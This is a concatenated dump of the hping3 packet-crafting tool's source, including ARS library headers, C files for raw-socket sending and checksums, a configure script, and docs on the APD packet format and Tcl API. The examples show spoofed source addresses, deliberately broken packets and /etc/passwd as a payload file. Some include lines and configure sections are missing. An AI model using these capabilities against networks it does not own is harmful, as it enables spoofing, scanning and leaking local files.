if_ipv4addr[ARS_INET_ADDRSTRLEN]; char if_ipv6addr[ARS_INET6_ADDRSTRLEN]; }; /* Flags for packet splitting */ #define ARS_SPLIT_FTRUNC (1 << 0) #define ARS_SPLIT_FBADCKSUM (1 << 1) /* Ars packet options */ #define ARS_OPT_RAPD_HEXDATA (1 << 0) /* Use hex format for RAPD data */ /* More macros */ #define ars_atou(x) strtoul(x, (char **) NULL, 0) #define ars_set_option(pkt,opt) do { (pkt)->p_options |= (opt); } while(0) #define ars_clear_option(pkt,opt) do { (pkt)->p_options &= ~(opt); } while(0) #define ars_test_option(pkt,opt) ((pkt)->p_options & (opt)) /* Prototypes */ int ars_init(struct ars_packet *pkt); int ars_destroy(struct ars_packet *pkt); int ars_nospace(struct ars_packet *pkt); int ars_add_generic(struct ars_packet *pkt, size_t size, int type); void *ars_add_iphdr(struct ars_packet *pkt, int unused); void *ars_add_ipopt(struct ars_packet *pkt, int option); void *ars_add_udphdr(struct ars_packet *pkt, int unused); void *ars_add_tcphdr(struct ars_packet *pkt, int unused); void *ars_add_tcpopt(struct ars_packet *pkt, int option); void *ars_add_icmphdr(struct ars_packet *pkt, int unused); void *ars_add_igrphdr(struct ars_packet *pkt, int unused); void *ars_add_igrpentry(struct ars_packet *pkt, int unused); void *ars_add_data(struct ars_packet *pkt, int size); size_t ars_relative_size(struct ars_packet *pkt, int layer_nr); size_t ars_packet_size(struct ars_packet *pkt); u_int16_t ars_cksum(void *vbuf, size_t nbytes); u_int16_t ars_multi_cksum(struct mc_context *c, int op, void *vbuf, size_t nbytes); int ars_compile(struct ars_packet *pkt); int ars_udptcp_cksum(struct ars_packet *pkt, int layer, u_int16_t *sum); int ars_open_rawsocket(struct ars_packet *pkt); int ars_build_packet(struct ars_packet *pkt, unsigned char **packet, size_t *size); int ars_bsd_fix(struct ars_packet *pkt, unsigned char *packet, size_t size); int ars_set_flags(struct ars_packet *pkt, int layer, int flags); int ars_send(int s, struct ars_packet *pkt, struct sockaddr *sa, socklen_t slen); int ars_resolve(struct ars_packet *pkt, u_int32_t *dest, char *hostname); int ars_set_error(struct ars_packet *pkt, const char *fmt, ...); int ars_d_build(struct ars_packet *pkt, char *t); int ars_valid_layer(int layer); int ars_get_iface_list(struct ars_iface *iface, size_t *isize); int ars_get_iface(char *name, struct ars_iface *i); int ars_valid_layer(int layer); int ars_remove_layer(struct ars_packet *pkt, int layer); /* split.c prototypes */ int ars_seems_ip(struct ars_iphdr *ip, size_t size); int ars_guess_ipoff(void *packet, size_t size, int *lhs); int ars_check_ip_cksum(struct ars_iphdr *ip); int ars_check_icmp_cksum(struct ars_icmphdr *icmp, size_t size); int ars_split_packet(void *packet, size_t size, int ipoff, struct ars_packet *pkt); /* reverse apd */ int ars_d_from_ars(char *dest, size_t len, struct ars_packet *pkt); int ars_rapd_ip(struct adbuf *dest, struct ars_packet *pkt, int layer); int ars_rapd_ipopt(struct adbuf *dest, struct ars_packet *pkt, int layer); int ars_rapd_icmp(struct adbuf *dest, struct ars_packet *pkt, int layer); int ars_rapd_udp(struct adbuf *dest, struct ars_packet *pkt, int layer); int ars_rapd_tcp(struct adbuf *dest, struct ars_packet *pkt, int layer); int ars_rapd_tcpopt(struct adbuf *dest, struct ars_packet *pkt, int layer); int ars_rapd_igrp(struct adbuf *dest, struct ars_packet *pkt, int layer); int ars_rapd_igrpentry(struct adbuf *dest, struct ars_packet *pkt, int layer); int ars_rapd_data(struct adbuf *dest, struct ars_packet *pkt, int layer); #if !defined(__FreeBSD__) && !defined(__OpenBSD__) && !defined(__NetBSD__) && \ !defined(__bsdi__) && !defined(__APPLE__) size_t strlcpy(char *dst, const char *src, size_t siz); #endif #endif /* _ARS_H */ hping3-3.a2.ds2/arsglue.c000066400000000000000000000012671021454026700152130ustar00rootroot00000000000000/* Glue between hping and the ars engine */ /* $Id: arsglue.c,v 1.2 2003/09/01 00:22:06 antirez Exp $ */ #include #include #include "ars.h" /* Send the APD described packet {s} */ void hping_ars_send(char *apd) { struct ars_packet p; int s; ars_init(&p); s = ars_open_rawsocket(&p); if (s == -ARS_ERROR) { perror("Opening raw socket"); exit(1); } if (ars_d_build(&p, apd) != -ARS_OK) { fprintf(stderr, "APD error: %s\n", p.p_error); exit(1); } if (ars_compile(&p) != -ARS_OK) { fprintf(stderr, "APD error compiling: %s\n", p.p_error); exit(1); } if (ars_send(s, &p, NULL, 0) != -ARS_OK) { perror("Sending the packet"); exit(1); } exit(0); } hping3-3.a2.ds2/binding.c000066400000000000000000000020471021454026700151600ustar00rootroot00000000000000/* * $smu-mark$ * $name: binding.c$ * $author: Salvatore Sanfilippo $ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:46 MET 1999$ * $rev: 11$ */ /* $Id: binding.c,v 1.2 2003/09/01 00:15:22 antirez Exp $ */ #include #include #include #include #include "hping2.h" #include "globals.h" void inc_destparm(int sid) { static long sec = 0; static long usec = 0; int *p; int errno_save = errno; switch (ctrlzbind) { case BIND_DPORT: p = &dst_port; break; case BIND_TTL: p = &src_ttl; break; default: printf("error binding ctrl+z\n"); /* errno = errno_save; */ return; } if ( (time(NULL) == sec) && ((get_usec() - usec) < 200000) ) { if (*p > 0) (*p)-=2; if (*p < 0) *p=0; } else (*p)++; printf("\b\b\b\b\b\b\b\b\b"); printf("%d: ", *p); fflush(stdout); sec = time(NULL); usec = get_usec(); signal(SIGTSTP, inc_destparm); errno = errno_save; } hping3-3.a2.ds2/byteorder.c000066400000000000000000000026741021454026700155530ustar00rootroot00000000000000#if 0 # # Compile with: # $sh byteorder.c # cc byteorder.c -o byteorder || exit 1 echo successfully compiled exit #endif /* 0 */ /* Coypright (C) 1999-2003 Salvatore Sanfilippo */ /* * 0.1 first version * 0.2 add Strchr, so it's possibile remove string.h * 0.3 more portable thx to Pancrazio De Mauro 'TrantIT'!!! * 0.4 better debug output */ /* $Id: byteorder.c,v 1.2 2003/09/01 00:22:06 antirez Exp $ */ #include char *Strchr(char *s, char c) { while(*s) if (*s++ == c) return s; return (char*) 0; } int main(int argc, char **argv) { unsigned int test = 1; unsigned char *x; int macro = 0, debug = 0, help = 0, j; for (j = 1; j < argc; j++) { if (Strchr(argv[j], 'm')) macro = 1; if (Strchr(argv[j], 'd')) debug = 1; if (Strchr(argv[j], 'h')) help = 1; } if (help) { printf( "-m macro output\n" "-d debug\n" "-h help\n"); return 0; } x = (unsigned char*) &test; if (*x == 0x00) { if (macro) printf("__BIG_ENDIAN_BITFIELD\n"); else printf("big endian\n"); } else if (*x == 0x01) { if (macro) printf("__LITTLE_ENDIAN_BITFIELD\n"); else printf("little endian\n"); } else { printf("\nWARNING!!! byteorder exception\n\n"); debug = 1; } if (debug) { printf("sizeof(unsigned int) = %d\n", sizeof(unsigned int)); printf("unsigned int test = 1;\n"); printf("in memory as: "); for (j = 0; j < sizeof(unsigned int); j++) printf("%02x ", x[j]); printf("\n"); } return 0; } hping3-3.a2.ds2/bytesex.h000066400000000000000000000014301021454026700152310ustar00rootroot00000000000000/* Original code from the Linux C library */ /* Copyright (C) 2000,2001 Salvatore Sanfilippo * This code is under the original GNU C library license (GPL) */ /* $Id: bytesex.h,v 1.1.1.1 2003/08/31 17:23:48 antirez Exp $ */ #ifndef ARS_BYTESEX_H #define ARS_BYTESEX_H #if defined(__i386__) \ || defined(__alpha__) \ || (defined(__mips__) && (defined(MIPSEL) || defined (__MIPSEL__))) #define BYTE_ORDER_LITTLE_ENDIAN #elif defined(__mc68000__) \ || defined (__sparc__) \ || defined (__sparc) \ || defined (__PPC__) \ || defined (__BIG_ENDIAN__) \ || (defined(__mips__) && (defined(MIPSEB) || defined (__MIPSEB__))) #define BYTE_ORDER_BIG_ENDIAN #else # error can not find the byte order for this architecture, fix bytesex.h #endif #endif /* ARS_BYTESEX_H */ hping3-3.a2.ds2/cksum.c000066400000000000000000000011331021454026700146630ustar00rootroot00000000000000/* $Id: cksum.c,v 1.3 2004/04/14 12:30:18 antirez Exp $ */ #include "hping2.h" /* only for arch semi-indipendent data types */ #include "globals.h" /* * from R. Stevens's Network Programming */ __u16 cksum(__u16 *buf, int nbytes) { __u32 sum; __u16 oddbyte; sum = 0; while (nbytes > 1) { sum += *buf++; nbytes -= 2; } if (nbytes == 1) { oddbyte = 0; *((__u16 *) &oddbyte) = *(__u16 *) buf; sum += oddbyte; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); /* return a bad checksum with --badcksum option */ if (opt_badcksum) sum ^= 0x5555; return (__u16) ~sum; } hping3-3.a2.ds2/configure000077500000000000000000000065461021454026700153210ustar00rootroot00000000000000#!/bin/sh show_help() { echo configure help: echo "--help show this help" echo "--no-tcl disable TCL scripting support" echo " even if uid != euid" } if [ "$1" = "--help" ]; then show_help exit 0 fi CC=${CC:=cc} echo build byteorder.c... $CC byteorder.c -o byteorder || exit 1 INSTALL_MANPATH=`echo $MANPATH|cut -f1 -d:` if [ "$INSTALL_MANPATH" = "" ]; then INSTALL_MANPATH="/usr/local/man" fi BYTEORDER=`./byteorder -m` echo create byteorder.h... cat > byteorder.h <> byteorder.h echo \#define $BYTEORDER >> byteorder.h echo \#endif /\* $BYTEORDER \*/ >> byteorder.h cat >> byteorder.h < Found Tclsh in: $TCLSH" fi fi done done if [ -f $TCLSH ] then TCL_VER=`echo puts \\$tcl_version | $TCLSH -` USE_TCL='-DUSE_TCL' TCL_LIB="-ltcl${TCL_VER}" if [ -e /usr/include/tcl${TCL_VER} ] then TCL_INC="-I/usr/include/tcl${TCL_VER}" elif [ -e /usr/include/tcl.h ] then TCL_INC="" elif [ -e /usr/local/include/tcl${TCL_VER} ] then TCL_INC="-I/usr/local/include/tcl${TCL_VER}" else USE_TCL="" TCL_LIB="" echo "==> WARNING: no Tcl header files found!" fi fi if [ -n $USE_TCL ] then LIBPOSTFIX=`ls -1 /usr/local/lib/ /usr/lib | grep 'libtcl[0-9]' | grep so | sed -e 's/\.so.*//g' -e 's/libtcl//g' | sort -r | head -1` TCL_LIB="-ltcl${LIBPOSTFIX} -lm -lpthread" fi # # configurable stuff # PCAP="PCAP=-lpcap" PCAP_INCLUDE="" for ARG in $*; do case "$ARG" in *"--no-tcl") USE_TCL="" TCL_VER="" TCL_INC="" TCL_LIB="" ;; esac done echo -------------------------------------- echo system type: $CONFIGOSTYPE echo echo "LIBPCAP : $PCAP" echo "PCAP_INCLUDE : $PCAP_INCLUDE" echo "MANPATH : $INSTALL_MANPATH" echo "USE_TCL : $USE_TCL" echo "TCL_VER : $TCL_VER" echo "TCL_INC : $TCL_INC" echo "LIBTCL : $TCL_LIB" echo "TCLSH : $TCLSH" echo echo "(to modify try configure --help)" echo -------------------------------------- echo creating Makefile... sed -e "s^@PCAP@^$PCAP^g" \ -e "s^@PCAP_INCLUDE@^$PCAP_INCLUDE^g" \ -e "s^@MANPATH@^$INSTALL_MANPATH^g" \ -e "s^@SOLARISLIB@^$SOLARISLIB^g" \ -e "s^@USE_TCL@^$USE_TCL^g" \ -e "s^@TCL_INC@^$TCL_INC^g" \ -e "s^@TCL_VER@^$TCL_VER^g" \ -e "s^@TCL_LIB@^$TCL_LIB^g" \ Makefile # # # cat > systype.h <> systype.h cat >> systype.h < .depend echo now you can try \`make\' hping3-3.a2.ds2/datafiller.c000066400000000000000000000033651021454026700156610ustar00rootroot00000000000000/* * $smu-mark$ * $name: datafiller.c$ * $author: Salvatore Sanfilippo $ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:47 MET 1999$ * $rev: 8$ */ /* $Id: datafiller.c,v 1.2 2003/09/01 00:22:06 antirez Exp $ */ #include #include #include #include #include #include #include /* memset */ #include "hping2.h" #include "globals.h" void datafiller(char *p, int size) { static int fd = 0; int readed, diff; if (!fd) { fd = open(datafilename, O_RDONLY); if (fd == -1) { perror("[datafiller] open()"); fd = 0; /* will retry to open the file for * the next packet */ memset(p, 'X', size); return; } } if (p == NULL && fd != -1) { /* seek operation */ /* size-1 because packet with id 1 start from 0 */ lseek(fd, (data_size-signlen)*(size-1), SEEK_SET); return; } restart: /* if EOF occurs, after rewind, restart */ readed = read(fd, p, size); if (readed == size) return; else if (readed == -1) { perror("[datafiller] read()"); close(fd); fd = 0; /* will retry to open the file for the next packet */ memset(p, 'X', size); return; } else if (readed < size && opt_end == FALSE) { lseek(fd, 0, SEEK_SET); if (readed == 0) goto restart; } else if (readed < size && opt_end == TRUE) { fprintf(stderr, "EOF reached, wait some second than press " "ctrl+c\n"); eof_reached = TRUE; } else { printf("[datafiller.c INTERNAL ERROR] readed = %d - " "opt_end == %d\n", readed, opt_end); exit(1); } diff = size - readed; memset(p+readed, '\0', diff); /* padding */ lseek(fd, 0, SEEK_SET); return; } hping3-3.a2.ds2/datahandler.c000066400000000000000000000016551021454026700160210ustar00rootroot00000000000000/* * $smu-mark$ * $name: datahandler.c$ * $author: Salvatore Sanfilippo $ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:47 MET 1999$ * $rev: 8$ */ /* $Id: datahandler.c,v 1.2 2003/09/01 00:22:06 antirez Exp $ */ #include #include "hping2.h" #include "globals.h" void data_handler(char *data, int data_size) { if (opt_listenmode) { /* send an HCMP */ memcpy(data, rsign, signlen); /* ok, write own reverse sign */ data+=signlen; data_size-=signlen; memcpy(data, hcmphdr_p, data_size); return; /* done */ } if (opt_sign) { memcpy(data, sign, signlen); /* lenght pre-checked */ data+=signlen; data_size-=signlen; } if (data_size == 0) return; /* there is not space left */ if (opt_datafromfile) datafiller(data, data_size); else memset(data, 'X', data_size); } hping3-3.a2.ds2/display_ipopt.c000066400000000000000000000074011021454026700164250ustar00rootroot00000000000000/* * Copyright (c) 1989 The Regents of the University of California. * All rights reserved. * * This code is derived from software contributed to Berkeley by * Mike Muuss. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by the University of * California, Berkeley and its contributors. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ /* $Id: display_ipopt.c,v 1.2 2003/09/01 00:22:06 antirez Exp $ */ #include #include #include #include #include #include #include "hping2.h" #include "globals.h" /* ripped from ping */ void display_ipopt(char* buf) { int i,j; unsigned long l; static int old_rrlen; static char old_rr[MAX_IPOPTLEN]; unsigned char* cp; int hlen; struct myiphdr *ip; struct in_addr in; ip = (struct myiphdr *)buf; hlen = ip->ihl * 4; cp = (u_char *)buf + sizeof(struct myiphdr); for (; hlen > (int)sizeof(struct myiphdr); --hlen, ++cp) switch (*cp) { case IPOPT_EOL: hlen = 0; break; case IPOPT_LSRR: (void)printf("LSRR: "); hlen -= 2; j = *++cp; ++cp; if (j > IPOPT_MINOFF) for (;;) { l = *++cp; l = (l<<8) + *++cp; l = (l<<8) + *++cp; l = (l<<8) + *++cp; in.s_addr=htonl(l); printf("\t%s",inet_ntoa(in)); hlen -= 4; j -= 4; if (j <= IPOPT_MINOFF) break; (void)putchar('\n'); } break; case IPOPT_RR: j = *++cp; /* get length */ i = *++cp; /* and pointer */ hlen -= 2; if (i > j) i = j; i -= IPOPT_MINOFF; if (i <= 0) continue; if (i == old_rrlen && cp == (u_char *)buf + sizeof(struct myiphdr) + 2 && !memcmp((char *)cp, old_rr, i)) { (void)printf("\t(same route)\n"); i = ((i + 3) / 4) * 4; hlen -= i; cp += i; break; } old_rrlen = i; memcpy(old_rr, cp, i); (void)printf("RR: "); for (;;) { l = *++cp; l = (l<<8) + *++cp; l = (l<<8) + *++cp; l = (l<<8) + *++cp; in.s_addr=htonl(l); printf("\t%s",inet_ntoa(in)); hlen -= 4; i -= 4; if (i <= 0) break; (void)putchar('\n'); } putchar('\n'); break; case IPOPT_NOP: (void)printf("NOP\n"); break; default: (void)printf("unknown option %x\n", *cp); break; } } hping3-3.a2.ds2/docs/000077500000000000000000000000001021454026700143275ustar00rootroot00000000000000hping3-3.a2.ds2/docs/APD.txt000066400000000000000000000103071021454026700154750ustar00rootroot00000000000000ARS Packet Description system This document describes the APD format. APD is a way to describe TCP/IP packets, and it is used in high level functions of the ARS library. The general format is the following: layer_type{field_1=value_1,field_2=value_2,...,field_n=value_n} more layers can be combined using the "+" simbol. Example: ip{dst=192.168.1.2}+udp{sport=53,dport=53}+data{file=./dns.packet} You don't need to specify fields that ARS can guess. For example if you don't specify checksums they will be correctly generated in the process of packet compilation. AVAILABLE LAYERS ~~~~~~~~~~~~~~~~ A layer type is one of the following: ip IP header ipopt.eol IP option EOL ipopt.nop IP option NOP ipopt.sec IP option Security ipopt.sid IP option Stream ID ipopt.lsrr IP option Loose Source Routing ipopt.ssrr IP option Strict Source Routing ipopt.rr IP option Record Route ipopt.ts IP option Timestamp udp UDP header tcp TCP header tcpopt.eol TCP option END (EOL) tcpopt.nop TCP option NOP tcpopt.mss TCP option Max Segment Size tcpopt.wscale TCP option Window Scale tcpopt.sackperm TCP option Selective ACK permitted tcpopt.sack TCP option Selective ACK tcpopt.echoreq TCP option Echo Request tcpopt.echoreply TCP option Echo Reply tcpopt.ts TCP option Timestamp icmp ICMP header data Generic Data Different fields are defined for different layer types: IP FIELDS: DESCRIPTION: POSSIBLE VALUE: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ saddr Source address 192.168.1.2, or www.yahoo.com daddr Destination address 192.168.1.2, or www.yahoo.com ihl IP header len numerical value ver IP version numerical value tos Type of Service numerical value totlen IP tot len numerical value id IP packet ID numerical value fragoff IP fragment offset numerical vaule mf More Fragment 0 or 1 df Dont Fragment 0 or 1 rf Reserved Frag. bit 0 or 1 ttl Time to Live numerical value proto ip protocol field numerical value cksum ip checksum numerical value UDP FIELDS: DESCRIPTION: POSSIBLE VALUE: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ sport Source port numerical value dport Destination port numerical value len UDP len field numerical value cksum UDP checksum numerical value TCP FIELDS: DESCRIPTION: POSSIBLE VALUE: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ sport Source port numerical value dport Destination port numerical value seq TCP sequence number numerical value ack TCP acknowledge number numerical value x2 TCP reserved bits numerical value off TCP header size numerical value flags TCP flags FSRPAUXY (see the example) win TCP window numerical value cksum TCP checksum numerical value urp TCP urgent pointer numerical value ICMP FIELDS: DESCRIPTION: POSSIBLE VALUE: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ type ICMP type numerical value code ICMP code numerical value cksum ICMP cksum numerical value id ICMP echo ID numerical value seq ICMP echo sequence nr numerical value gw ICMP gateway 192.168.1.2 or www.yahoo.com unused ICMP 32bit id/seq/gw numerical value DATA FIELDS: DESCRIPTION: POSSIBLE VALUE: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ file Data file /etc/passwd str A string hello world! (no escaping available) uint32 A 32bit integer numerical value uint24 A 24bit integer numerical value uint16 A 16bit integer numerical value uint8 A 8bit integer numerical value Other layer types fields aren't still implemented, anyway most of this contains sane defaults, (like IP record route option and so on). You can specify numerical values as hex, octal and decimal numbers. Decimail: 10 Hex: 0xA Octal: 012 Examples ~~~~~~~~ /* Just an ICMP echo request */ ip{saddr=1.2.3.4,daddr=www.yahoo.com}+icmp{type=8,code=0}\ +data{str=hello world} /* An ICMP destination unreachable with the quoted UDP packet */ ip{saddr=1.2.3.4,daddr=5.6.7.8}+icmp{type=3,code=3}\ +ip{saddr=www.yahoo.com,daddr=1.2.3.4}+udp{sport=53,dport=53}\ /* A TCP packet with the SYN flag set */ ip{saddr=1.2.3.4,daddr=5.6.7.8}+tcp{flags=S,dport=80,sport=10} hping3-3.a2.ds2/docs/API.txt000066400000000000000000000434661021454026700155160ustar00rootroot00000000000000The hping API Copyright (C) 2003 Salvatore Sanfilippo All rights reserved. -------------------------------------------------------------------------------- NOTE: check http://wiki.hping.org for more information and updated version of this document. OVERVIEW Hping uses the Tcl language as scripting language to write networking and security related applications, test suites, and software prototypes. To run hping in scripting mode just run it without arguments. # hping It will display a prompt, and will accept commands from the standard input. Here you can write Tcl commands, and use the embedded hping command to manipulate, send and receive packets, set filters, read the interface list and so on. To execute an hping script, call the hping program with "exec" as first argument followed by the name of the script and the arguments. # hping exec hping.htcl www.hping.org The goal of this document is to describe the API exported by hping to the Tcl language. This document aims to be informative, but will not cover all the aspects of the API usage: the experienced user should be able to fully exploit the hping capabilities just reading this document and the examples under the 'lib' directory. Note that the API is not yet complete: this document only covers the part already implemented in the current CVS version of hping3. Also note that this document currently does NOT cover the hping standard library, that is an higher level API build on top of the low-level API (for low-level API I mean what's described in this document). The plan is to start a Wiki to document hping3 in a collaborative way. -------------------------------------------------------------------------------- API BASICS The main idea of the hping API is to export a single command for every 'section' of the facilities provided by hping. The most important command exported is 'hping', this command expects a subcommand that specify the operation to perform. The following subcommands are currently available: resolve send sendraw recv recvraw iflist outifa getfield hasfield setfield delfield checksum Most are to receive, send, and manage packets, and in general all the subcommands of the hping command are about networking. -------------------------------------------------------------------------------- HPING SUBCOMMANDS hping resolve The resolve subcommand translate an host name in its IPv4 address using the DNS system. It is basically a gethostname() wrapper, that just returns its input if is already an IP address. Example: hping3.0.0-alpha> hping resolve www.hping.org 192.70.106.166 -- ####################################################### hping recv ?-hexdata? ?timeout? ?count? ####################################################### Receive packets as a Tcl list in the APD format. is the interface from wich to read packets, ?timeout? is an optional argument to set a timeout value in milliseconds, with the exception that a zero timeout means to return as soon as possible the packets that was already in queue when the recv subcommand was called, while a -1 timeout value means to expect forever for packets (no timeout). If ?timeout? is specified, an additional (optional) ?count? parameter can be specified, modifing the recv subcommand behaviour to return as soon as ?count? packets were already received. A special ?count? value of zero means to collect an infinite number of packets (at least until the timeout is not reached). The optional ?-hexdata? switch specify to return packets payload as hex digits instead of quoted strings. To use -hexdata is encouraged for all the applications, but the ones that needs to display packets in a human readable format. For default the timeout is set to -1, and count to 1 (in other words hping will wait forever if no packets are available, but will return when the first packet is received). Examples: # Capture a packet from eth0 hping3.0.0-alpha> hping recv eth0 {ip(ihl=5,ver=4,tos=02,totlen=58,id=63474,fragoff=0,mf=0,df=1,rf=0,ttl=64,proto=6,cksum=9ecb,saddr=192.168.1.6,daddr=213.82.224.41)+tcp(sport=33295,dport=110,seq=2486133764,ack=2745754339,x2=0,off=8,flags=pa,win=5840,cksum=7a69,urp=0)+tcp.nop()+tcp.nop()+tcp.timestamp(val=1021017,ecr=355869116)+data(str=STAT\0d\0a)} # Caputure a packet using the hex format for data payload hping3.0.0-alpha> hping recv -hexdata eth0 ip(ihl=5,ver=4,tos=00,totlen=84,id=2435,fragoff=0,mf=0,df=0,rf=0,ttl=49,proto=1,cksum=25be,saddr=216.239.39.99,daddr=192.168.1.6)+icmp(type=0,code=0,id=55048,seq=512)+data(hex=3f565c1b000d7e4008090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637) # Wait for all the packets received in 5 seconds, and print how much they are hping3.0.0-alpha> puts [llength [hping recv eth0 5000 0]] 36 -- ################ hping iflist ################ The iflist subcommand returns a list of all the available interfaces (with the UP flag set), and information about every interface. Interface informations are returned as a Tcl list, that's an example: hping3.0.0-alpha> hping iflist {lo 16436 {127.0.0.1} {LOOPBACK}} {eth0 1500 {192.168.1.6} {}} # But this may be more clear: hping3.0.0-alpha> foreach i [hping iflist] {puts $i} lo 16436 {127.0.0.1} {LOOPBACK} eth0 1500 {192.168.1.6} {} # As you can see both the interface addresses and flags are reported # as Tcl lists, in order to deal with multiple-flags and addresses # interfaces. This is an example: hping3.0.0-alpha> foreach i [hping iflist] {puts $i} lo0 33224 {127.0.0.1} {LOOPBACK} xl0 1500 {191.224.144.21 64.238.141.219} {} # The above host has an IPv4 alias for xl0 -- ######################### hping outifa ######################### Experienced users will not be satisfied with the iflist subcommand alone. Suppose you want to rewrite the ping program in hping, you need to know what is the interface used to send and receive packets for a given destination. The outifa subcommand does exactly this: it returns the IPv4 address of the outgoing interface for the destination. Assuming there are no bugs nor hyper-strange configurations, the address returned will match at least one of the interface addresses returned with hping iflist. The implementation of this command may not work in all the cases in this beta version of hping. Example: hping3.0.0-alpha> hping outifa www.google.com 192.168.1.6 hping3.0.0-alpha> hping iflist {lo 16436 {127.0.0.1} {LOOPBACK}} {eth0 1500 {192.168.1.6} {}} # As you can see 192.168.1.6 is the eth0 unique address -- note that # the host is configured with a 192.168.1.1 as default gateway. To write a Tcl procedure that returns the name of the interface with a given address is trivial, such a procedure is included in the hping standard library (hpingstdlib.htcl). -- ################################## hping send ?-nocompile? packet ################################## This command is used to send TCP/IP packets. It is able to send packets specified in the same format the command 'hping recv' returns packets, this basically means that you can experiment with 'hping recv' in order to undrestand how to send a given packet. Also note that a common pattern with hping3 is to receive packets with 'hping recv', modify this packets in some way and resend with 'hping send'. This makes the creation of scripts to do NAT and all the sort of TCP/IP flow manipulation very easy. In order to send a TCP packet with the SYN flag set to the host www.hping.org one can write: hping3> set target www.hping.org www.hping.org hping3> set myaddr [hping outifa $target] 192.168.1.6 hping3> hping send "ip(saddr=$myaddr,daddr=$target,ttl=255)+tcp(sport=123,dport=80,flags=s)" Note that the first two commands are used to get the outgoing interface address. From the example it should be clear that in the hping3 world packets are strings rappresenting different layers of the packet. When a given layer is not specified by the user, hping try to set it at a reasonable value. For instance the user don't need to specify IP and TCP checksums for normal packets because hping will compute it automatically. Of curse to create broken packets it can be useful to specify a checksum field. Working with packets as strings, it is handy to create a packet starting with an empty string, adding a layer at a time: this makes the code very simple to read. For example the previous code to send a packet can be written this way: set target www.hping.org set myaddr [hping outifa $target] set syn {} append syn "ip(saddr=$myaddr,daddr=$target,ttl=255)" append syn "+tcp(sport=123,dport=80,flags=2)" hping send $syn You can cut&paste the code in a file called 'example.htcl', then run it using: hping3 exec example.htcl Note that you can use all the features of Tcl, for example in order to send the same SYN packet with 10 different TTL values it is possible to modify the previous script to obtain this: set target www.hping.org set myaddr [hping outifa $target] for {set ttl 0} {$ttl < 10} {incr ttl} { set syn {} append syn "ip(saddr=$myaddr,daddr=$target,ttl=$ttl)" append syn "+tcp(sport=123,dport=80,flags=2)" hping send $syn } The '-nocompile' optional switch is used to tell hping to don't compile the packet (packet compilation calculate stuff like checksums, tot length, and so on), it is useful in order to send broken packets. -- ################################################## hping getfield layer field ?skip? packet hping hasfield layer field ?skip? packet hping setfield layer field value ?skip? packet hping delfield layer field ?skip? packet ################################################## So in hping packets are strings, this makes to work with packets simple, but sometimes to modify a field may require to use string substitution, regexp, or alike, not very clean nor fast, so hping API exports functions to set, read, and test for given fields in given layers. 'hping getfield' returns the value of the given 'field' in the given 'layer', for 'packets'. For example: hping3> hping getfield ip ttl "ip(saddr=1.2.3.4,daddr=5.6.7.8,ttl=64)" 64 If the layer does not exists, an empty string is returned. In complex packets the same layer can be present more times, for example an ICMP error message can have its own IP header and the IP header of the quoted packet. In order to specify what is the right layer the 'skip' argument of get/has/set field is used. This argument specify how many layers of the specified type to skip before to get the field value, so to specify a skip value of 1 means to get the field from the second IP layer and so on. Example: hping3.0.0-alpha> set p [hping recv eth0] {ip(ihl=5,ver=4,tos=c0,totlen=58,id=62912,fragoff=0,mf=0,df=0,rf=0,ttl=64,proto=1,cksum=e500,saddr=192.168.1.7,daddr=192.168.1.6)+icmp(type=3,code=3,unused=0)+ip(ihl=5,ver=4,tos=00,totlen=30,id=60976,fragoff=0,mf=0,df=1,rf=0,ttl=64,proto=17,cksum=40c9,saddr=192.168.1.6,daddr=192.168.1.7)+udp(sport=33169,dport=10,len=10,cksum=94d6)+data(str=f\0a)} Remember that 'hping recv' returns a Tcl list, for default this list is composed of only one element, but anyway we need to get extract this element from the list: hping3.0.0-alpha> set packet [lindex $p 0] 